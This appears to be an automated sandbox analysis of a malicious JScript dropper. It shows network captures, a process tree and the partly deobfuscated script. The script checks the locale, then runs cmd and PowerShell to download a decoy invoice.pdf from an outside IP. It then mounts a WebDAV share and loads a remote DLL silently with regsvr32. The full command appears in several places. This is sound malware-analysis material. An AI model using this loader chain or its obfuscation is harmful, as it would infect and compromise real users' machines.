Jan 11, 2025 02:17:16.268619061 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 02:17:17.093936920 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:17:16 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 11, 2025 02:17:17.093957901 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 11, 2025 02:17:17.093970060 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 11, 2025 02:17:17.094013929 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 11, 2025 02:17:17.094026089 CET	448	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 11, 2025 02:17:17.094090939 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 11, 2025 02:17:17.094099998 CET	224	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`
Jan 11, 2025 02:17:17.094172955 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 11, 2025 02:17:17.094183922 CET	1236	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 11, 2025 02:17:17.094261885 CET	448	IN	Data Raw: f1 85 39 c6 2b c4 29 73 55 85 6a e6 63 b1 a9 66 8b 56 da 72 d7 33 af af be 3c 7f 85 be e8 e5 72 5e fd 44 a1 f9 1c a9 29 68 3e 63 5d 47 6a 7e 6c 40 7f a6 98 67 ac 10 8e 73 9f 0e 85 9f 07 90 9f 04 30 6f 7b ff e2 ea a6 1c be e5 f4 27 82 b9 b6 d5 5f Data Ascii: 9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlhcC?cC?u0X-37X_[;~Ii/MzJ*>)kz{~YjR
Jan 11, 2025 02:17:17.099674940 CET	1236	IN	Data Raw: 00 db e4 6f b0 35 25 34 37 de 95 3b 56 72 f4 cc c1 5c 26 28 cc 6a 15 4a a8 4e 3f 32 07 9a 1a a8 d4 cf b7 ad 37 ad d7 4e fa fb e9 d7 a4 36 aa ab a8 69 43 b9 13 3c 35 df 32 96 a8 54 35 89 ca 3c c3 7e 4c 75 a1 38 a5 af 2a 9c a5 d5 23 b4 35 d5 cc 4c Data Ascii: o5%47;Vr\&(jJN?27N6iC<52T5<~Lu8#5L>8f\^xmI3#^{hudM/eG_\?c0{,?nQGDUBwZ?l+`hC?bC31t_PC={6H=17

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.8	49707	193.143.1.205	8888	7524	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 02:17:18.420047998 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 11, 2025 02:17:19.221301079 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 01:17:19 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	1
Start time:	20:17:10
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\3097128047142338539.js"
Imagebase:	0x7ff6bd3c0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	20:17:11
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11398827913605.dll
Imagebase:	0x7ff6238f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	20:17:11
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	20:17:11
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6cb6b0000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	20:17:17
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6e8200000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	20:17:17
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6238f0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	20:17:17
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff648de0000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	20:17:18
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	20:17:18
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff67e6d0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	20:17:19
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2108 --field-trial-handle=1648,i,7262053184488957901,7837497832491367870,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff79c940000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function sicamfi() {	sicamfi() ➔ undefined
1	ysfxkxa = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var sermvcvmu = this[jerwpnazt + nbdvkuk + zljvdl + emxsnpvyd + mxjdrtq + mlwqasqng + pbvbmjp + iyuxox] ( this[celpapdt + dglboenqf + ppnhffoa + zljvdl + swmmx + jerwpnazt + iyuxox][fzzcu + zljvdl + mxjdrtq + nbdvkuk + iyuxox + mxjdrtq + ftiabm + zswuyixz + ryehlj + mxjdrtq + ppnhffoa + iyuxox] ( celpapdt + dglboenqf + ppnhffoa + zljvdl + swmmx + jerwpnazt + iyuxox + tiwtvetab + dglboenqf + jyxnpck + mxjdrtq + gurmnpslx + gurmnpslx ) [cgkwb + mxjdrtq + qfwkle + cgkwb + mxjdrtq + nbdvkuk + abfxngr] ( imvfigib + cwxudhu + zvzaddgat + ndafzbvb + vggbjtff + fzzcu + ekqeu + cgkwb + cgkwb + zvzaddgat + ydhtaxys + fxpytcyq + vggbjtff + ekqeu + dglboenqf + zvzaddgat + cgkwb + hvvedkw + fzzcu + reqkzqrnp + pbvbmjp + iyuxox + zljvdl + reqkzqrnp + gurmnpslx + arnvi + soscymijl + nbdvkuk + pbvbmjp + mxjdrtq + gurmnpslx + hvvedkw + mlwqasqng + pbvbmjp + iyuxox + mxjdrtq + zljvdl + pbvbmjp + nbdvkuk + iyuxox + swmmx + reqkzqrnp + pbvbmjp + nbdvkuk + gurmnpslx + hvvedkw + fhxomwr + reqkzqrnp + ppnhffoa + nbdvkuk + gurmnpslx + mxjdrtq ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( jnlixa = 0 ; jnlixa < ysfxkxa[gurmnpslx + mxjdrtq + pbvbmjp + qfwkle + iyuxox + jyxnpck] ; ++ jnlixa )
4	{
5	if ( sermvcvmu == ysfxkxa[jnlixa] )
6	{
7	sermvcvmu = true;
8	break ;
9	}
10	}
11	if ( sermvcvmu !== true )
12	this[celpapdt + dglboenqf + ppnhffoa + zljvdl + swmmx + jerwpnazt + iyuxox][lneki + soieikr + swmmx + iyuxox] ( );
13	this[celpapdt + dglboenqf + ppnhffoa + zljvdl + swmmx + jerwpnazt + iyuxox][fzzcu + zljvdl + mxjdrtq + nbdvkuk + iyuxox + mxjdrtq + ftiabm + zswuyixz + ryehlj + mxjdrtq + ppnhffoa + iyuxox] ( celpapdt + dglboenqf + ppnhffoa + zljvdl + swmmx + jerwpnazt + iyuxox + tiwtvetab + dglboenqf + jyxnpck + mxjdrtq + gurmnpslx + gurmnpslx ) [zljvdl + soieikr + pbvbmjp] ( ppnhffoa + hodvitmgc + abfxngr + arnvi + bmhtk + ppnhffoa + arnvi + jerwpnazt + reqkzqrnp + jneghjnu + mxjdrtq + zljvdl + emxsnpvyd + jyxnpck + mxjdrtq + gurmnpslx + gurmnpslx + tiwtvetab + mxjdrtq + effvnc + mxjdrtq + arnvi + yomnn + fzzcu + reqkzqrnp + hodvitmgc + hodvitmgc + nbdvkuk + pbvbmjp + abfxngr + arnvi + gtparnwq + mlwqasqng + pbvbmjp + jbjxtkxd + reqkzqrnp + lqgka + mxjdrtq + yomnn + celpapdt + mxjdrtq + zswuyixz + cgkwb + mxjdrtq + kijlxvyr + soieikr + mxjdrtq + emxsnpvyd + iyuxox + arnvi + yomnn + ftiabm + soieikr + iyuxox + egdxablfs + swmmx + gurmnpslx + mxjdrtq + arnvi + bqrtzofh + iyuxox + mxjdrtq + hodvitmgc + jerwpnazt + bqrtzofh + hvvedkw + swmmx + pbvbmjp + jbjxtkxd + reqkzqrnp + swmmx + ppnhffoa + mxjdrtq + tiwtvetab + jerwpnazt + abfxngr + exvfofod + arnvi + jyxnpck + iyuxox + iyuxox + jerwpnazt + pnoierb + bmhtk + bmhtk + jbmpg + pdmzoh + tbghdowv + tiwtvetab + jbmpg + kyvqlq + tbghdowv + tiwtvetab + jbmpg + tiwtvetab + lendw + ohliews + xolteyi + bmhtk + swmmx + pbvbmjp + jbjxtkxd + reqkzqrnp + swmmx + ppnhffoa + mxjdrtq + tiwtvetab + jerwpnazt + jyxnpck + jerwpnazt + gtparnwq + jvznjjv + jvznjjv + emxsnpvyd + iyuxox + nbdvkuk + zljvdl + iyuxox + arnvi + bqrtzofh + iyuxox + mxjdrtq + hodvitmgc + jerwpnazt + bqrtzofh + hvvedkw + swmmx + pbvbmjp + jbjxtkxd + reqkzqrnp + swmmx + ppnhffoa + mxjdrtq + tiwtvetab + jerwpnazt + abfxngr + exvfofod + jvznjjv + jvznjjv + ppnhffoa + hodvitmgc + abfxngr + arnvi + bmhtk + ppnhffoa + arnvi + pbvbmjp + mxjdrtq + iyuxox + arnvi + soieikr + emxsnpvyd + mxjdrtq + arnvi + hvvedkw + hvvedkw + jbmpg + pdmzoh + tbghdowv + tiwtvetab + jbmpg + kyvqlq + tbghdowv + tiwtvetab + jbmpg + tiwtvetab + lendw + ohliews + xolteyi + wycniypfy + knztovcf + knztovcf + knztovcf + knztovcf + hvvedkw + abfxngr + nbdvkuk + jbjxtkxd + jneghjnu + jneghjnu + jneghjnu + zljvdl + reqkzqrnp + reqkzqrnp + iyuxox + hvvedkw + jvznjjv + jvznjjv + ppnhffoa + hodvitmgc + abfxngr + arnvi + bmhtk + ppnhffoa + arnvi + zljvdl + mxjdrtq + qfwkle + emxsnpvyd + jbjxtkxd + zljvdl + tbghdowv + lendw + arnvi + bmhtk + emxsnpvyd + arnvi + hvvedkw + hvvedkw + jbmpg + pdmzoh + tbghdowv + tiwtvetab + jbmpg + kyvqlq + tbghdowv + tiwtvetab + jbmpg + tiwtvetab + lendw + ohliews + xolteyi + wycniypfy + knztovcf + knztovcf + knztovcf + knztovcf + hvvedkw + abfxngr + nbdvkuk + jbjxtkxd + jneghjnu + jneghjnu + jneghjnu + zljvdl + reqkzqrnp + reqkzqrnp + iyuxox + hvvedkw + jbmpg + jbmpg + tbghdowv + pdmzoh + knztovcf + knztovcf + lendw + birru + pdmzoh + jbmpg + tbghdowv + lsqpqxm + ohliews + xolteyi + tiwtvetab + abfxngr + gurmnpslx + gurmnpslx, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11398827913605.dll",0,false) ➔ 0
14	}
15	exvfofod = "c";
16	exvfofod = "V";
17	exvfofod = "d";
18	exvfofod = "s";
19	exvfofod = "g";
20	exvfofod = "w";
21	exvfofod = "g";
22	exvfofod = "d";
23	exvfofod = "C";
24	exvfofod = "n";
25	exvfofod = "P";
26	exvfofod = "c";
27	exvfofod = "G";
28	exvfofod = "v";
29	exvfofod = "o";
30	exvfofod = "R";
31	exvfofod = "N";
32	exvfofod = "H";
33	exvfofod = "S";
34	exvfofod = "g";
35	exvfofod = "v";
36	exvfofod = "O";
37	exvfofod = "j";
38	exvfofod = "f";
39	exvfofod = "x";
40	exvfofod = "j";
41	exvfofod = "D";
42	exvfofod = "c";
43	exvfofod = "H";
44	exvfofod = "i";
45	exvfofod = "K";
46	exvfofod = "z";
47	exvfofod = "b";
48	exvfofod = "l";
49	exvfofod = "v";
50	exvfofod = "I";
51	exvfofod = "E";
52	exvfofod = "L";
53	exvfofod = "W";
54	exvfofod = "a";
55	exvfofod = "f";
56	lsqpqxm = "L";
57	lsqpqxm = "s";
58	lsqpqxm = "I";
59	lsqpqxm = "g";
60	lsqpqxm = "p";
61	lsqpqxm = "P";
62	lsqpqxm = "L";
63	lsqpqxm = "A";
64	lsqpqxm = "R";
65	lsqpqxm = "G";
66	lsqpqxm = "6";
67	ndafzbvb = "j";
68	ndafzbvb = "h";
69	ndafzbvb = "i";
70	ndafzbvb = "H";
71	ndafzbvb = "m";
72	ndafzbvb = "B";
73	ndafzbvb = "q";
74	ndafzbvb = "Q";
75	ndafzbvb = "W";
76	ndafzbvb = "Q";
77	ndafzbvb = "g";
78	ndafzbvb = "v";
79	ndafzbvb = "D";
80	ndafzbvb = "U";
81	ndafzbvb = "b";
82	ndafzbvb = "l";
83	ndafzbvb = "E";
84	ndafzbvb = "M";
85	ndafzbvb = "A";
86	ndafzbvb = "T";
87	ndafzbvb = "A";
88	ndafzbvb = "Y";
89	knztovcf = "8";
90	jvznjjv = "U";
91	jvznjjv = "T";
92	jvznjjv = "c";
93	jvznjjv = "T";
94	jvznjjv = "Z";
95	jvznjjv = "G";
96	jvznjjv = "O";
97	jvznjjv = "U";
98	jvznjjv = "I";
99	jvznjjv = "m";
100	jvznjjv = "h";
101	jvznjjv = "M";
102	jvznjjv = "g";
103	jvznjjv = "u";
104	jvznjjv = "n";
105	jvznjjv = "U";
106	jvznjjv = "i";
107	jvznjjv = "Y";
108	jvznjjv = "V";
109	jvznjjv = "n";
110	jvznjjv = "x";
111	jvznjjv = "&";
112	cwxudhu = "Q";
113	cwxudhu = "Z";
114	cwxudhu = "H";
115	cwxudhu = "Y";
116	cwxudhu = "X";
117	cwxudhu = "b";
118	cwxudhu = "W";
119	cwxudhu = "K";
120	cwxudhu = "P";
121	cwxudhu = "p";
122	cwxudhu = "c";
123	cwxudhu = "E";
124	cwxudhu = "F";
125	cwxudhu = "U";
126	cwxudhu = "M";
127	cwxudhu = "S";
128	cwxudhu = "Z";
129	cwxudhu = "r";
130	cwxudhu = "s";
131	cwxudhu = "S";
132	cwxudhu = "z";
133	cwxudhu = "V";
134	cwxudhu = "T";
135	cwxudhu = "N";
136	cwxudhu = "v";
137	cwxudhu = "z";
138	cwxudhu = "m";
139	cwxudhu = "b";
140	cwxudhu = "J";
141	cwxudhu = "G";
142	cwxudhu = "Y";
143	cwxudhu = "Q";
144	cwxudhu = "K";
145	cwxudhu = "o";
146	cwxudhu = "Q";
147	cwxudhu = "r";
148	cwxudhu = "q";
149	cwxudhu = "r";
150	cwxudhu = "R";
151	cwxudhu = "N";
152	cwxudhu = "c";
153	cwxudhu = "k";
154	cwxudhu = "K";
155	zswuyixz = "F";
156	zswuyixz = "q";
157	zswuyixz = "P";
158	zswuyixz = "b";
159	zswuyixz = "Q";
160	zswuyixz = "W";
161	zswuyixz = "s";
162	zswuyixz = "W";
163	zswuyixz = "X";
164	zswuyixz = "C";
165	zswuyixz = "Y";
166	zswuyixz = "H";
167	zswuyixz = "O";
168	zswuyixz = "d";
169	zswuyixz = "F";
170	zswuyixz = "S";
171	zswuyixz = "E";
172	zswuyixz = "c";
173	zswuyixz = "X";
174	zswuyixz = "X";
175	zswuyixz = "F";
176	zswuyixz = "c";
177	zswuyixz = "O";
178	zswuyixz = "S";
179	zswuyixz = "Y";
180	zswuyixz = "e";
181	zswuyixz = "S";
182	zswuyixz = "b";
183	jneghjnu = "s";
184	jneghjnu = "X";
185	jneghjnu = "q";
186	jneghjnu = "Z";
187	jneghjnu = "N";
188	jneghjnu = "j";
189	jneghjnu = "M";
190	jneghjnu = "O";
191	jneghjnu = "h";
192	jneghjnu = "a";
193	jneghjnu = "N";
194	jneghjnu = "G";
195	jneghjnu = "M";
196	jneghjnu = "r";
197	jneghjnu = "p";
198	jneghjnu = "m";
199	jneghjnu = "C";
200	jneghjnu = "h";
201	jneghjnu = "a";
202	jneghjnu = "o";
203	jneghjnu = "n";
204	jneghjnu = "a";
205	jneghjnu = "J";
206	jneghjnu = "U";
207	jneghjnu = "Z";
208	jneghjnu = "a";
209	jneghjnu = "a";
210	jneghjnu = "A";
211	jneghjnu = "K";
212	jneghjnu = "h";
213	jneghjnu = "o";
214	jneghjnu = "K";
215	jneghjnu = "q";
216	jneghjnu = "w";
217	ekqeu = "Q";
218	ekqeu = "n";
219	ekqeu = "k";
220	ekqeu = "R";
221	ekqeu = "x";
222	ekqeu = "U";
223	jyxnpck = "J";
224	jyxnpck = "k";
225	jyxnpck = "t";
226	jyxnpck = "C";
227	jyxnpck = "E";
228	jyxnpck = "r";
229	jyxnpck = "N";
230	jyxnpck = "V";
231	jyxnpck = "W";
232	jyxnpck = "E";
233	jyxnpck = "j";
234	jyxnpck = "v";
235	jyxnpck = "a";
236	jyxnpck = "g";
237	jyxnpck = "e";
238	jyxnpck = "f";
239	jyxnpck = "B";
240	jyxnpck = "h";
241	pdmzoh = "i";
242	pdmzoh = "o";
243	pdmzoh = "M";
244	pdmzoh = "X";
245	pdmzoh = "E";
246	pdmzoh = "f";
247	pdmzoh = "A";
248	pdmzoh = "L";
249	pdmzoh = "t";
250	pdmzoh = "c";
251	pdmzoh = "L";
252	pdmzoh = "d";
253	pdmzoh = "i";
254	pdmzoh = "9";
255	birru = "b";
256	birru = "q";
257	birru = "k";
258	birru = "p";
259	birru = "N";
260	birru = "n";
261	birru = "c";
262	birru = "r";
263	birru = "R";
264	birru = "o";
265	birru = "c";
266	birru = "c";
267	birru = "u";
268	birru = "D";
269	birru = "t";
270	birru = "N";
271	birru = "O";
272	birru = "y";
273	birru = "p";
274	birru = "K";
275	birru = "J";
276	birru = "r";
277	birru = "t";
278	birru = "b";
279	birru = "N";
280	birru = "F";
281	birru = "P";
282	birru = "E";
283	birru = "f";
284	birru = "K";
285	birru = "d";
286	birru = "b";
287	birru = "c";
288	birru = "7";
289	ydhtaxys = "W";
290	ydhtaxys = "H";
291	ydhtaxys = "Y";
292	ydhtaxys = "y";
293	ydhtaxys = "q";
294	ydhtaxys = "W";
295	ydhtaxys = "d";
296	ydhtaxys = "N";
297	tbghdowv = "r";
